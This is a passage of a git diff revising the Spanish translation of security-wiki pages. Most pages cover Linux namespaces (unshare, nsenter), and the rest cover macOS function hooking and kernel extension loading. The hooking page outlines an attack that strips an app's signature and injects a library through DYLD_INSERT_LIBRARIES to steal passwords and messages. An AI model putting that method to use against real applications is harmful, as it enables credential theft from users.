Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
@@ -50,22 +50,22 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Verifica en qué namespace se encuentra tu proceso
+### Verifica en qué namespace se encuentra tu proceso
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
-### Encontrar todos los namespaces IPC
+### Encuentra todos los namespaces IPC
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep
```
-### Entrar dentro de un IPC namespace
+### Entrar en un namespace IPC
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
-Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
+También, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
### Crear objeto IPC
```bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index b4954d5cd..ac3b725f9 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -12,7 +12,7 @@ Los mount namespaces son particularmente útiles en la contenedorización, donde
1. Cuando se crea un nuevo mount namespace, se inicializa con una **copia de los puntos de montaje de su namespace padre**. Esto significa que, al momento de la creación, el nuevo namespace comparte la misma vista del sistema de archivos que su padre. Sin embargo, cualquier cambio posterior en los puntos de montaje dentro del namespace no afectará al padre ni a otros namespaces.
2. Cuando un proceso modifica un punto de montaje dentro de su namespace, como montar o desmontar un sistema de archivos, el **cambio es local a ese namespace** y no afecta a otros namespaces. Esto permite que cada namespace tenga su propia jerarquía de sistema de archivos independiente.
-3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNS`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a utilizar los puntos de montaje asociados con ese namespace.
+3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNS`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar los puntos de montaje asociados con ese namespace.
4. **Los descriptores de archivo e inodos se comparten entre namespaces**, lo que significa que si un proceso en un namespace tiene un descriptor de archivo abierto que apunta a un archivo, puede **pasar ese descriptor de archivo** a un proceso en otro namespace, y **ambos procesos accederán al mismo archivo**. Sin embargo, la ruta del archivo puede no ser la misma en ambos namespaces debido a las diferencias en los puntos de montaje.
## Laboratorio:
@@ -23,7 +23,7 @@ Los mount namespaces son particularmente útiles en la contenedorización, donde
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
-Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
+Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese espacio de nombres**.
@@ -39,11 +39,11 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
2. **Consecuencia**:
-- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` no puede asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
+- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solución**:
- El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
-- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` en sí se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
+- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
@@ -53,7 +53,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Verifica en qué namespace está tu proceso
+### Verifica en qué namespace está tu proceso
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
@@ -68,13 +68,13 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
-### Entrar dentro de un namespace de montaje
+### Entrar dentro de un Mount namespace
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/mnt`).
-Debido a que los nuevos montajes solo son accesibles dentro del espacio de nombres, es posible que un espacio de nombres contenga información sensible que solo se puede acceder desde él.
+Debido a que los nuevos montajes solo son accesibles dentro del espacio de nombres, es posible que un espacio de nombres contenga información sensible que solo puede ser accesible desde él.
### Montar algo
```bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 9ad548e05..224ae413c 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -4,11 +4,11 @@
## Información Básica
-Un namespace de red es una característica del núcleo de Linux que proporciona aislamiento de la pila de red, permitiendo que **cada namespace de red tenga su propia configuración de red independiente**, interfaces, direcciones IP, tablas de enrutamiento y reglas de firewall. Este aislamiento es útil en varios escenarios, como la contenedorización, donde cada contenedor debe tener su propia configuración de red, independiente de otros contenedores y del sistema host.
+Un namespace de red es una característica del kernel de Linux que proporciona aislamiento de la pila de red, permitiendo que **cada namespace de red tenga su propia configuración de red independiente**, interfaces, direcciones IP, tablas de enrutamiento y reglas de firewall. Este aislamiento es útil en varios escenarios, como la contenedorización, donde cada contenedor debe tener su propia configuración de red, independiente de otros contenedores y del sistema host.
### Cómo funciona:
-1. Cuando se crea un nuevo namespace de red, comienza con una **pila de red completamente aislada**, con **ninguna interfaz de red** excepto por la interfaz de loopback (lo). Esto significa que los procesos que se ejecutan en el nuevo namespace de red no pueden comunicarse con procesos en otros namespaces o con el sistema host por defecto.
+1. Cuando se crea un nuevo namespace de red, comienza con una **pila de red completamente aislada**, sin **interfaces de red** excepto por la interfaz de loopback (lo). Esto significa que los procesos que se ejecutan en el nuevo namespace de red no pueden comunicarse con procesos en otros namespaces o con el sistema host por defecto.
2. **Interfaces de red virtuales**, como pares veth, pueden ser creadas y movidas entre namespaces de red. Esto permite establecer conectividad de red entre namespaces o entre un namespace y el sistema host. Por ejemplo, un extremo de un par veth puede ser colocado en el namespace de red de un contenedor, y el otro extremo puede ser conectado a un **puente** u otra interfaz de red en el namespace del host, proporcionando conectividad de red al contenedor.
3. Las interfaces de red dentro de un namespace pueden tener sus **propias direcciones IP, tablas de enrutamiento y reglas de firewall**, independientes de otros namespaces. Esto permite que los procesos en diferentes namespaces de red tengan diferentes configuraciones de red y operen como si estuvieran ejecutándose en sistemas de red separados.
4. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNET`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a utilizar la configuración de red y las interfaces asociadas con ese namespace.
@@ -22,7 +22,7 @@ Un namespace de red es una característica del núcleo de Linux que proporciona
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
-Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese espacio de nombres**.
+Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
@@ -53,7 +53,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### Ver en qué namespace está tu proceso
+### Verifica en qué namespace está tu proceso
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
@@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
-Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
+También, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
## Referencias
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 8e678c1a2..5404474f1 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -33,9 +33,9 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
1. **Explicación del Problema**:
-- El núcleo de Linux permite que un proceso cree nuevos namespaces utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo namespace de PID (denominado el proceso "unshare") no entra en el nuevo namespace; solo lo hacen sus procesos hijos.
+- El núcleo de Linux permite que un proceso cree nuevos namespaces utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo namespace de PID (denominado "proceso unshare") no entra en el nuevo namespace; solo lo hacen sus procesos hijos.
- Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el namespace de PID original.
-- El primer proceso hijo de `/bin/bash` en el nuevo namespace se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del namespace si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese namespace.
+- El primer proceso hijo de `/bin/bash` en el nuevo namespace se convierte en PID 1. Cuando este proceso sale, activa la limpieza del namespace si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese namespace.
2. **Consecuencia**:
@@ -55,7 +55,7 @@ Al montar una nueva instancia del sistema de archivos `/proc` si usas el paráme
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Ver en qué namespace está tu proceso
+### Verifica en qué namespace se encuentra tu proceso
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index fa785b1d1..b26d85c66 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -1,10 +1,10 @@
-# Espacio de Nombres de Tiempo
+# Time Namespace
{{#include ../../../../banners/hacktricks-training.md}}
## Información Básica
-El espacio de nombres de tiempo en Linux permite desplazamientos por espacio de nombres a los relojes monótonos del sistema y al tiempo de arranque. Se utiliza comúnmente en contenedores de Linux para cambiar la fecha/hora dentro de un contenedor y ajustar los relojes después de restaurar desde un punto de control o una instantánea.
+El espacio de nombres de tiempo en Linux permite desplazamientos por espacio de nombres a los relojes de sistema monótono y de tiempo de arranque. Se utiliza comúnmente en contenedores de Linux para cambiar la fecha/hora dentro de un contenedor y ajustar los relojes después de restaurar desde un punto de control o instantánea.
## Laboratorio:
@@ -34,7 +34,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
3. **Solución**:
- El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
-- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
+- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
@@ -44,7 +44,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Verifica en qué namespace está tu proceso
+### Verifica en qué namespace está tu proceso
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index 6220a79bd..5652c0e60 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -1,4 +1,4 @@
-# Espacio de Nombres
+# User Namespace
{{#include ../../../../banners/hacktricks-training.md}}
@@ -23,23 +23,23 @@ Los espacios de nombres de usuario son particularmente útiles en la contenedori
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
+Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese espacio de nombres**.
Error: bash: fork: Cannot allocate memory
-Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (Identificación de Proceso). Los detalles clave y la solución se describen a continuación:
+Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Explicación del Problema**:
-- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
+- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado el proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consecuencia**:
-- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falla al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
+- La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solución**:
- El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
@@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Para usar el espacio de nombres de usuario, el daemon de Docker debe iniciarse con **`--userns-remap=default`** (En ubuntu 14.04, esto se puede hacer modificando `/etc/default/docker` y luego ejecutando `sudo service docker restart`)
-### Verifica en qué espacio de nombres está tu proceso
+### Verifica en qué espacio de nombres está tu proceso
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -76,7 +76,7 @@ sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep
```
-### Entrar en un espacio de nombres de usuario
+### Entrar dentro de un espacio de nombres de usuario
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 6863f87f4..e71c5a4a3 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -26,7 +26,7 @@ Al montar una nueva instancia del sistema de archivos `/proc` si usas el paráme
Error: bash: fork: Cannot allocate memory
-Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
+Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (Identificación de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Explicación del Problema**:
@@ -40,7 +40,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a
3. **Solución**:
- El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
-- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
+- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
@@ -50,7 +50,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Verifica en qué namespace está tu proceso
+### Verifica en qué namespace se encuentra tu proceso
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 91fe73a8f..f388bd028 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -6,7 +6,7 @@
Crea un **dylib** con una sección **`__interpose`** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros de función** que se refieran a las funciones **original** y **reemplazo**.
-Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
+Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interponer printf
@@ -81,7 +81,7 @@ Hello from interpose
En ObjectiveC, así es como se llama a un método: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
-Se necesita el **objeto**, el **método** y los **params**. Y cuando se llama a un método, se envía un **msg** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
+Se necesita el **objeto**, el **método** y los **params**. Y cuando se llama a un método, se **envía un msg** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y los argumentos son **value1**, **value2**.
@@ -268,15 +268,15 @@ return 0;
}
}
```
-## Metodología de Ataque por Hooking
+## Metodología de Ataque de Hooking
En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, implicaron **ejecutar código dentro del proceso para atacar**.
-Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de procesos Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
+Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de proceso Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para aprender más sobre las limitaciones.
-Sin embargo, un ataque de hooking de funciones es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de procesos). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
+Sin embargo, un ataque de hooking de función es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del Info.plist de la aplicación añadiendo algo como:
```xml
@@ -293,7 +293,7 @@ y luego **re-registrar** la aplicación:
Agrega en esa biblioteca el código de hooking para exfiltrar la información: Contraseñas, mensajes...
> [!CAUTION]
-> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
+> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se había ejecutado previamente, macOS **ya no ejecutará la aplicación**.
#### Ejemplo de biblioteca
```objectivec
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index 92186a4aa..4c9f7997d 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -17,18 +17,18 @@ Obviamente, esto es tan poderoso que es **complicado cargar una extensión del k
- La extensión del kernel debe estar **firmada con un certificado de firma de código del kernel**, que solo puede ser **otorgado por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
- La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
- Luego, el usuario **root** es quien puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
-- Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el otorgamiento `com.apple.rootless.storage.KernelExtensionManagement`).
+- Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el otorgamiento de `com.apple.rootless.storage.KernelExtensionManagement`).
- Finalmente, al intentar cargarlo, el usuario [**recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarlo.
### Proceso de Carga
-En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el otorgamiento **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
+En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el otorgamiento de **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **inicia** el proceso de **verificación** para cargar una extensión
-- Hablará con **`kextd`** enviando usando un **servicio Mach**.
+- Se comunicará con **`kextd`** enviando usando un **servicio Mach**.
2. **`kextd`** verificará varias cosas, como la **firma**
-- Hablará con **`syspolicyd`** para **comprobar** si la extensión puede ser **cargada**.
-3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no ha sido cargada previamente.
+- Se comunicará con **`syspolicyd`** para **verificar** si la extensión puede ser **cargada**.
+3. **`syspolicyd`** **solicitará** al **usuario** si la extensión no ha sido cargada previamente.
- **`syspolicyd`** informará el resultado a **`kextd`**
4. **`kextd`** finalmente podrá **decirle al kernel que cargue** la extensión
@@ -58,7 +58,7 @@ En mi caso en macOS lo encontré en:
#### IMG4
-El formato de archivo IMG4 es un formato contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de manera segura** componentes de firmware (como **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluyendo la carga útil real (como un kernel o bootloader), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, permitiendo que el dispositivo confirme la autenticidad e integridad del componente de firmware antes de ejecutarlo.
+El formato de archivo IMG4 es un formato contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de manera segura** componentes de firmware (como el **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluyendo la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, permitiendo que el dispositivo confirme la autenticidad e integridad del componente de firmware antes de ejecutarlo.
Generalmente está compuesto por los siguientes componentes:
@@ -81,7 +81,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### Descargar
+### Descargar
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index fc2d791a6..154090682 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
